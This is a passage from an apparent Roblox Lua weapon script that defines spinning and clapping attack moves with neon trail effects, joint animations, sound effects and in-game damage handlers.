  3816. Trail.Transparency = Trail.Transparency +0.1
  3817. end end)()end end)()
  3818. Footsteps:Stop()
  3819. Footsteps2:Stop()
  3820. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3821. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3822. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3823. for i=0,1,0.1 do
  3824. swait()
  3825. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3826. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3827. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3828. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3829. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3830. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3831. end
  3832. if anim then
  3833. anim.Disabled=true
  3834. end
  3835. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3836. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3837. for i=0,1,0.05 do
  3838. swait()
  3839. Torso.Velocity=RootPart.CFrame.lookVector*100
  3840. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3841. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3842. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3843. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3844. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3845. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3846. end
  3847. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3848. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3849. for i=0,1,0.05 do
  3850. swait()
  3851. Torso.Velocity=RootPart.CFrame.lookVector*100
  3852. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3853. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3854. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3855. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3856. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3857. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3858. end
  3859. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3860. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3861. for i=0,1,0.05 do
  3862. swait()
  3863. Torso.Velocity=RootPart.CFrame.lookVector*100
  3864. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3865. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3866. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3867. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3868. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3869. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3870. end
  3871. --dmgstop()
  3872. Humanoid.WalkSpeed=12
  3873. attack=false
  3874. con1:disconnect()
  3875. con2:disconnect()
  3876. if anim then
  3877. anim.Disabled=false
  3878. end
  3879. if TrailDeb == true then
  3880. TrailDeb = false
  3881. end
  3882. end
  3883.  
  3884. function Twirl()
  3885. mana=mana-50
  3886. attack=true
  3887. if TrailDeb == false then
  3888. TrailDeb = true
  3889. end
  3890.  
  3891.  
  3892. coroutine.wrap(function()
  3893. local Old = Handle2.CFrame.p
  3894. while wait()do
  3895. if not TrailDeb then break end
  3896. local New = Handle2.CFrame.p
  3897. local Mag =(Old -New).magnitude
  3898. local Dis =(Old +New)/2
  3899. local Trail = Instance.new("Part",Character)
  3900. Trail.Material = "Neon"
  3901. Trail.Anchored = true
  3902. Trail.CanCollide = false
  3903. Trail.BrickColor = TorsoColor
  3904. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3905. Trail.TopSurface = 0
  3906. Trail.BottomSurface = 0
  3907. Trail.formFactor = "Custom"
  3908. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3909. local ms = Instance.new("BlockMesh",Trail)
  3910. ms.Scale = Vector3.new(1,1,1)
  3911. local TM = Instance.new("CylinderMesh",Trail)
  3912. TM.Scale = Vector3.new(1,1,1)
  3913. Old = New
  3914. coroutine.wrap(function()
  3915. for i = 1,0,-0.1 do
  3916. wait()
  3917. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3918. end
  3919. Trail:remove()
  3920. end)()
  3921. coroutine.wrap(function()
  3922. for i = 1,10 do
  3923. wait()
  3924. Trail.Transparency = Trail.Transparency +0.1
  3925. end end)()end end)()
  3926. coroutine.wrap(function()
  3927. local Old = Handle.CFrame.p
  3928. while wait()do
  3929. if not TrailDeb then break end
  3930. local New = Handle.CFrame.p
  3931. local Mag =(Old -New).magnitude
  3932. local Dis =(Old +New)/2
  3933. local Trail = Instance.new("Part",Character)
  3934. Trail.Material = "Neon"
  3935. Trail.Anchored = true
  3936. Trail.CanCollide = false
  3937. Trail.BrickColor = TorsoColor
  3938. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3939. Trail.TopSurface = 0
  3940. Trail.BottomSurface = 0
  3941. Trail.formFactor = "Custom"
  3942. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3943. local ms = Instance.new("BlockMesh",Trail)
  3944. ms.Scale = Vector3.new(1,1,1)
  3945. local TM = Instance.new("CylinderMesh",Trail)
  3946. TM.Scale = Vector3.new(1,1,1)
  3947. Old = New
  3948. coroutine.wrap(function()
  3949. for i = 1,0,-0.1 do
  3950. wait()
  3951. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3952. end
  3953. Trail:remove()
  3954. end)()
  3955. coroutine.wrap(function()
  3956. for i = 1,10 do
  3957. wait()
  3958. Trail.Transparency = Trail.Transparency +0.1
  3959. end end)()end end)()
  3960. Footsteps:Stop()
  3961. Footsteps2:Stop()
  3962. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3963. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3964. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3965. for i=0,1,0.1 do
  3966. swait()
  3967. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3968. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3969. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3970. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3971. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3972. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3973. end
  3974. if anim then
  3975. anim.Disabled=true
  3976. end
  3977. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3978. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3979. for i=0,1,0.05 do
  3980. swait()
  3981. Torso.Velocity=RootPart.CFrame.lookVector*80
  3982. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3983. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3984. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3985. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3986. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3987. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3988. end
  3989. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3990. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3991. for i=0,1,0.05 do
  3992. swait()
  3993. Torso.Velocity=RootPart.CFrame.lookVector*80
  3994. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3995. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3996. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3997. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3998. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3999. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4000. end
  4001. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4002. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4003. for i=0,1,0.05 do
  4004. swait()
  4005. Torso.Velocity=RootPart.CFrame.lookVector*80
  4006. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4007. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4008. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4009. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4010. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4011. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4012. end
  4013. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4014. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4015. for i=0,1,0.05 do
  4016. swait()
  4017. Torso.Velocity=RootPart.CFrame.lookVector*80
  4018. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4019. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4020. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4021. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4022. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4023. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4024. end
  4025. --dmgstop()
  4026. Humanoid.WalkSpeed=12
  4027. attack=false
  4028. con1:disconnect()
  4029. con2:disconnect()
  4030. if anim then
  4031. anim.Disabled=false
  4032. end
  4033. if TrailDeb == true then
  4034. TrailDeb = false
  4035. end
  4036. end
  4037.  
  4038. function Shred()
  4039. attack=true
  4040. mana=mana-100
  4041. if TrailDeb == false then
  4042. TrailDeb = true
  4043. end
  4044.  
  4045.  
  4046. coroutine.wrap(function()
  4047. local Old = Handle2.CFrame.p
  4048. while wait()do
  4049. if not TrailDeb then break end
  4050. local New = Handle2.CFrame.p
  4051. local Mag =(Old -New).magnitude
  4052. local Dis =(Old +New)/2
  4053. local Trail = Instance.new("Part",Character)
  4054. Trail.Material = "Neon"
  4055. Trail.Anchored = true
  4056. Trail.CanCollide = false
  4057. Trail.BrickColor = TorsoColor
  4058. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4059. Trail.TopSurface = 0
  4060. Trail.BottomSurface = 0
  4061. Trail.formFactor = "Custom"
  4062. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4063. local ms = Instance.new("BlockMesh",Trail)
  4064. ms.Scale = Vector3.new(1,1,1)
  4065. local TM = Instance.new("CylinderMesh",Trail)
  4066. TM.Scale = Vector3.new(1,1,1)
  4067. Old = New
  4068. coroutine.wrap(function()
  4069. for i = 1,0,-0.1 do
  4070. wait()
  4071. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4072. end
  4073. Trail:remove()
  4074. end)()
  4075. coroutine.wrap(function()
  4076. for i = 1,10 do
  4077. wait()
  4078. Trail.Transparency = Trail.Transparency +0.1
  4079. end end)()end end)()
  4080. coroutine.wrap(function()
  4081. local Old = Handle.CFrame.p
  4082. while wait()do
  4083. if not TrailDeb then break end
  4084. local New = Handle.CFrame.p
  4085. local Mag =(Old -New).magnitude
  4086. local Dis =(Old +New)/2
  4087. local Trail = Instance.new("Part",Character)
  4088. Trail.Material = "Neon"
  4089. Trail.Anchored = true
  4090. Trail.CanCollide = false
  4091. Trail.BrickColor = TorsoColor
  4092. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4093. Trail.TopSurface = 0
  4094. Trail.BottomSurface = 0
  4095. Trail.formFactor = "Custom"
  4096. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4097. local ms = Instance.new("BlockMesh",Trail)
  4098. ms.Scale = Vector3.new(1,1,1)
  4099. local TM = Instance.new("CylinderMesh",Trail)
  4100. TM.Scale = Vector3.new(1,1,1)
  4101. Old = New
  4102. coroutine.wrap(function()
  4103. for i = 1,0,-0.1 do
  4104. wait()
  4105. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4106. end
  4107. Trail:remove()
  4108. end)()
  4109. coroutine.wrap(function()
  4110. for i = 1,10 do
  4111. wait()
  4112. Trail.Transparency = Trail.Transparency +0.1
  4113. end end)()end end)()
  4114. Footsteps:Stop()
  4115. Footsteps2:Stop()
  4116. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4117. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4118. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4119. for i=0,1,0.1 do
  4120. swait()
  4121. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4122. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4123. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4124. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4125. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4126. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4127. end
  4128. if anim then
  4129. anim.Disabled=true
  4130. end
  4131. for i=0,1,0.05 do
  4132. swait()
  4133. Torso.Velocity=RootPart.CFrame.lookVector*20
  4134. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4135. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4136. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4137. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4138. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4139. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4140. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4141. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4142. end
  4143. for i=0,1,0.05 do
  4144. swait()
  4145. Torso.Velocity=RootPart.CFrame.lookVector*40
  4146. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4147. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4148. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4149. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4150. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4151. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4152. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4153. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4154. end
  4155. for i=0,1,0.05 do
  4156. swait()
  4157. Torso.Velocity=RootPart.CFrame.lookVector*60
  4158. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4159. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4160. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4161. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4162. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4163. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4164. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4165. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4166. end
  4167. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4168. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4169. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4170. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4171. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4172. for i=0,1,0.05 do
  4173. swait()
  4174. Torso.Velocity=RootPart.CFrame.lookVector*80
  4175. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4176. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4177. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4178. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4179. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4180. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4181. end
  4182. for i=0,1,0.005 do
  4183. swait()
  4184. Torso.Velocity=RootPart.CFrame.lookVector*100
  4185. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4186. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4187. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4188. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4189. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4190. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4191. end
  4192. --dmgstop()
  4193. Humanoid.WalkSpeed=12
  4194. attack=false
  4195. con1:disconnect()
  4196. con2:disconnect()
  4197. if anim then
  4198. anim.Disabled=false
  4199. end
  4200. if TrailDeb == true then
  4201. TrailDeb = false
  4202. end
  4203. end
  4204.  
  4205. function Push()
  4206. attack=true
  4207. mana=mana-20
  4208. if TrailDeb == false then
  4209. TrailDeb = true
  4210. end
  4211.  
  4212.  
  4213. coroutine.wrap(function()
  4214. local Old = Handle2.CFrame.p
  4215. while wait()do
  4216. if not TrailDeb then break end
  4217. local New = Handle2.CFrame.p
  4218. local Mag =(Old -New).magnitude
  4219. local Dis =(Old +New)/2
  4220. local Trail = Instance.new("Part",Character)
  4221. Trail.Material = "Neon"
  4222. Trail.Anchored = true
  4223. Trail.CanCollide = false
  4224. Trail.BrickColor = TorsoColor
  4225. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4226. Trail.TopSurface = 0
  4227. Trail.BottomSurface = 0
  4228. Trail.formFactor = "Custom"
  4229. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4230. local ms = Instance.new("BlockMesh",Trail)
  4231. ms.Scale = Vector3.new(1,1,1)
  4232. local TM = Instance.new("CylinderMesh",Trail)
  4233. TM.Scale = Vector3.new(1,1,1)
  4234. Old = New
  4235. coroutine.wrap(function()
  4236. for i = 1,0,-0.1 do
  4237. wait()
  4238. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4239. end
  4240. Trail:remove()
  4241. end)()
  4242. coroutine.wrap(function()
  4243. for i = 1,10 do
  4244. wait()
  4245. Trail.Transparency = Trail.Transparency +0.1
  4246. end end)()end end)()
  4247. coroutine.wrap(function()
  4248. local Old = Handle.CFrame.p
  4249. while wait()do
  4250. if not TrailDeb then break end
  4251. local New = Handle.CFrame.p
  4252. local Mag =(Old -New).magnitude
  4253. local Dis =(Old +New)/2
  4254. local Trail = Instance.new("Part",Character)
  4255. Trail.Material = "Neon"
  4256. Trail.Anchored = true
  4257. Trail.CanCollide = false
  4258. Trail.BrickColor = TorsoColor
  4259. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4260. Trail.TopSurface = 0
  4261. Trail.BottomSurface = 0
  4262. Trail.formFactor = "Custom"
  4263. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4264. local ms = Instance.new("BlockMesh",Trail)
  4265. ms.Scale = Vector3.new(1,1,1)
  4266. local TM = Instance.new("CylinderMesh",Trail)
  4267. TM.Scale = Vector3.new(1,1,1)
  4268. Old = New
  4269. coroutine.wrap(function()
  4270. for i = 1,0,-0.1 do
  4271. wait()
  4272. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4273. end
  4274. Trail:remove()
  4275. end)()
  4276. coroutine.wrap(function()
  4277. for i = 1,10 do
  4278. wait()
  4279. Trail.Transparency = Trail.Transparency +0.1
  4280. end end)()end end)()
  4281. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4282. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4283. for i=0,1,0.1 do
  4284. swait()
  4285. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4286. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4287. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4288. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4289. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4290. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4291. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4292. end
  4293. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4294. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4295. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4296. for i=0,1,0.1 do
  4297. swait()
  4298. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4299. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4300. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4301. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4302. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4303. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4304. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4305. end
  4306. --dmgstop()
  4307. attack=false
  4308. con1:disconnect()
  4309. con2:disconnect()
  4310. if TrailDeb == true then
  4311. TrailDeb = false
  4312. end
  4313. end
  4314.  
  4315. function Clap()
  4316. attack=true
  4317. mana=mana-20
  4318. if TrailDeb == false then
  4319. TrailDeb = true
  4320. end
  4321.  
  4322.  
  4323. coroutine.wrap(function()
  4324. local Old = Handle2.CFrame.p
  4325. while wait()do
  4326. if not TrailDeb then break end
  4327. local New = Handle2.CFrame.p
  4328. local Mag =(Old -New).magnitude
  4329. local Dis =(Old +New)/2
  4330. local Trail = Instance.new("Part",Character)
  4331. Trail.Material = "Neon"
  4332. Trail.Anchored = true
  4333. Trail.CanCollide = false
  4334. Trail.BrickColor = TorsoColor
  4335. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4336. Trail.TopSurface = 0
  4337. Trail.BottomSurface = 0
  4338. Trail.formFactor = "Custom"
  4339. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4340. local ms = Instance.new("BlockMesh",Trail)
  4341. ms.Scale = Vector3.new(1,1,1)
  4342. local TM = Instance.new("CylinderMesh",Trail)
  4343. TM.Scale = Vector3.new(1,1,1)
  4344. Old = New
  4345. coroutine.wrap(function()
  4346. for i = 1,0,-0.1 do
  4347. wait()
  4348. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4349. end
  4350. Trail:remove()
  4351. end)()
  4352. coroutine.wrap(function()
  4353. for i = 1,10 do
  4354. wait()
  4355. Trail.Transparency = Trail.Transparency +0.1
  4356. end end)()end end)()
  4357. coroutine.wrap(function()
  4358. local Old = Handle.CFrame.p
  4359. while wait()do
  4360. if not TrailDeb then break end
  4361. local New = Handle.CFrame.p
  4362. local Mag =(Old -New).magnitude
  4363. local Dis =(Old +New)/2
  4364. local Trail = Instance.new("Part",Character)
  4365. Trail.Material = "Neon"
